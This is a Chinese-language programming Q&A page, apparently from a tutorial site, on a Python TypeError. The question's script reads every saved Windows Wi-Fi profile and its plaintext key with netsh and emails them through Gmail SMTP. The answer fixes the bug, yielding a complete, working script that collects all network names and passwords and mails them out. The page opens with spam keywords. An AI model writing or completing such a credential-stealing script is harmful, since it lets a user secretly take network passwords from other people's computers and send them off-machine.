第七色在线视频,2021少妇久久久久久久久久,亚洲欧洲精品成人久久av18,亚洲国产精品特色大片观看完整版,孙宇晨将参加特朗普的晚宴

為了賬號(hào)安全,請(qǐng)及時(shí)綁定郵箱和手機(jī)立即綁定
已解決430363個(gè)問(wèn)題,去搜搜看,總會(huì)有你想問(wèn)的

TypeError: 預(yù)期的字符串或類似字節(jié)的對(duì)象。我在哪里將它更改為字符串?

TypeError: 預(yù)期的字符串或類似字節(jié)的對(duì)象。我在哪里將它更改為字符串?

Cats萌萌 2022-12-14 17:35:41
當(dāng)我嘗試運(yùn)行這個(gè) python 時(shí):import subprocess, smtplibdef send_mail(email,password,message):    server = smtplib.SMTP("smtp.gmail.com", 587)    server.starttls()    server.login(email,password)    server.sendmail(email, email, message)    server.quit()a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]for i in a:    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]    try:        print ("{:<30}| {:<}".format(i, results[0]))    except IndexError:        print ("{:<30}| {:<}".format(i,""))send_mail("example@gmail.com","Example123",results)我收到這個(gè)錯(cuò)誤Traceback (most recent call last):  File "wifi.py", line 18, in <module>    send_mail("Example@gmail.com","Example123",results)  File "wifi.py", line 6, in send_mail    server.sendmail(email, email, message)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail    (code, resp) = self.data(msg)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data    q = _quote_periods(msg)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods    return re.sub(br'(?m)^\.', b'..', bindata)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub    return _compile(pattern, flags).sub(repl, string, count)TypeError: expected string or bytes-like object我知道我需要在某個(gè)地方放“str”,但我不知道是哪一部分(我對(duì) python 有點(diǎn)陌生)
查看完整描述

1 回答

?
阿波羅的戰(zhàn)車

TA貢獻(xiàn)1862條經(jīng)驗(yàn) 獲得超6個(gè)贊

你有結(jié)果作為列表只是將它轉(zhuǎn)換成字符串這將發(fā)送用戶名和密碼


import subprocess, smtplib

def send_mail(email,password,message):

    server = smtplib.SMTP("smtp.gmail.com", 587)

    server.starttls()

    server.login(email,password)

    server.sendmail(email, email, message)

    server.quit()


a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')

a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]

to_send = []

for i in a:

    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')

    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]

    # in order to send everything store it in another list and then join them with new line.

    to_send.append(i+":"+"".join(results))

    try:

        print ("{:<30}| {:<}".format(i, results[0]))

    except IndexError:

        print ("{:<30}| {:<}".format(i,""))

# convert list to string

send_mail("example@gmail.com","Example123","\n".join(to_send))


查看完整回答
反對(duì) 回復(fù) 2022-12-14
  • 1 回答
  • 0 關(guān)注
  • 123 瀏覽
慕課專欄
更多

添加回答

舉報(bào)

0/150
提交
取消
微信客服

購(gòu)課補(bǔ)貼
聯(lián)系客服咨詢優(yōu)惠詳情

幫助反饋 APP下載

慕課網(wǎng)APP
您的移動(dòng)學(xué)習(xí)伙伴

公眾號(hào)

掃描二維碼
關(guān)注慕課網(wǎng)微信公眾號(hào)